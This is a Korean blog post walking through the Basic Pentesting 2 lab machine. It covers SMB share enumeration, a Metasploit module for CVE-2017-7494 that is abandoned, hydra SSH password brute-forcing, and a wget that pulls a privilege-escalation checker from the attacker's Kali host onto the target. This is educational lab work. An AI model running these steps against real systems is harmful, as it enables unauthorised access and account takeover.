이번 글은 저번 글에 이어 basic pentesting2 를 풀어나가는 과정 중 일부를 작성하였습니다.
CVE-2017-7494 취약점 이용
samba 는 파일, 디렉토리 등을 공유할 때 사용하는 소프트웨어로 SMB 프로토콜을 사용합니다.
samba 4.3.11 버전의 취약점에 대해 상세 내용을 확인해 보겠습니다.
sudo searchsploit samba 4.3.11
sudo searchsploit -x 42084
samba 서비스에 대한 공격을 하기 위해서는 위의 3가지 조건이 필요함을 볼 수 있습니다.
그렇다면 공격대상인 basic pentesting 환경에 공개되어 있거나 공유되고 있는 폴더들이 있는지 확인해보겠습니다.
(현재 basic pentesting 의 ip 주소는 192.168.0.7입니다)
--script=smb-enum-shares
위의 결과를 통해 Anonymous 와 IPC$ 라는 폴더가 공유되고 있음을 알 수 있습니다.
Anonymous access 를 통해 익명의 계정으로도 접근이 가능함을 볼 수 있습니다.
이번에는 SMB 취약점을 살펴보겠습니다.
https://nmap.org/nsedoc/categories/vuln.html
--script=smb-vuln*
3개 스크립트가 돌아간 결과를 볼 수 있습니다.
취약하지 않을 경우엔 내용이 출력되지 않으며 취약한 경우만 결과가 출력됩니다.
취약한 스크립트는 DOS 공격이 가능하다는 것을 볼 수 있습니다.
SMB 서비스 취약점(CVE-2017-7494)를 이용해 해킹을 간단하게 할 수 있는 msfconsole을 사용하겠습니다.
msfconsole에서 취약점을 검색해봅니다
search cve-2017-7494
검색한 결과를 사용해보겠습니다.
use exploit/linux/samba/is_known_pipename
정보확인
info
옵션 내용 확인
show options
RHOSTS 를 공격대상의 IP, SMB_SHARE_NAME 공유 폴더명을 입력해줍니다.
smbmap을 통해 smb 서비스의 공유 폴더를 확인해 보겠습니다.
guest session으로 접속하여 disk를 확인해본 결과, Anonymous,IPC 폴더 모두 write 권한이 없음을 볼 수 있습니다.
samba 4.3.11 의 CVE-2017-7494 취약점을 활용하기 위해서는 Write 권한이 있는 폴더가 있어야합니다.
따라서 해당 모듈은 사용할 수 없습니다.
추가 정보 획득
그렇다면 이번에는 smb samba와 관련된 추가 정보를 enum4linux를 통해 획득해보도록 하겠습니다.
enum4linux
윈도우나 samba host에서 시스템 정보를 열겨하기 위한 도구
smbclient를 이용해 공유폴더에 접근해보겠습니다. 여기서 익명사용자를 허용하고 있으므로 password는 입력하지 않고 접근하였습다.
조회된 결과의 staff.txt 를 로컬로 데려오겠습니다.
get staff.txt
이번에는 anonymous가 아닌 IPC 폴더를 이번에 조회해 보았는데 폴더 열거가 되지 않는 모습을 볼 수 있습니다.
사용자 계정으로 SSH로그인 시도
이번에는 kay, jan 이란 사용자 계정으로 로그인을 시도해보겠습니다.
ssh 로 직접 접속을 시도해보았으나, 비밀번호를 알수없기 때문에 hydra 명령어를 통해 무작위 대입을 해보았습니다.
여러번의 시도를 하지만, kay 라는 사용자에 대해 비밀번호를 찾을 수 없었습니다.
또다른 사용자 jan 에 대해 동일한 시도를 해보고 그 결과의 비밀번호로 ssh 접근을 해보겠습니다.
kay 의 계정으로 접근하여 확인한 결과 sudo 권한이 사용가능한 계정임을 'sudo_as_admin_successful' 파일을 통해 알 수 있습니다. 따라서 kay 라는 계정을 획득하면 root 권한을 사용할 수 있습니다.
또한, '.ssh' 디렉토리의 권한은 755입니다. ssh 를 접근하기 위한 폴더인데 group 과 other user들에게도 읽고 실행할 수 있게 되어 있습니다.
이런 취약점을 활용해서 ..?
sudo service apache2 start
1) kali 리눅스 서버에서 apache 를 실행해줍니다.
sudo cp /usr/bin/unix-privesc-check /var/www/html
2) unix privesc check 실행파일을 html 폴더내로 옮겨줍니다.
wget 192.168.0.4/unix-privesc-check
3) jan 계정으로 ssh 접속 후 kali 서버에 접근해서 파일을 가져옵니다.
chmod +x unix-privesc-check
4) 실행가능하도록 권한을 추가해줍니다.
5) 실행
python 취약점을 이용
linux priv checker 파일을 다운로드 받음
SUID 가 지정된 프로그램은 root 권한으로 프로그램을 실행할 수 있음
'보안' 카테고리의 다른 글
WSTG (web security testing guide) 정보수집 정리 PART2 (0) | 2024.06.17 |
---|---|
WSTG (web security testing guide) 정보수집 정리 PART1 (0) | 2024.06.09 |
Basic Pentesting : SSH 를 활용한 권한 탈취 (0) | 2024.03.07 |
칼리 리눅스와 basic pentesting (0) | 2023.11.05 |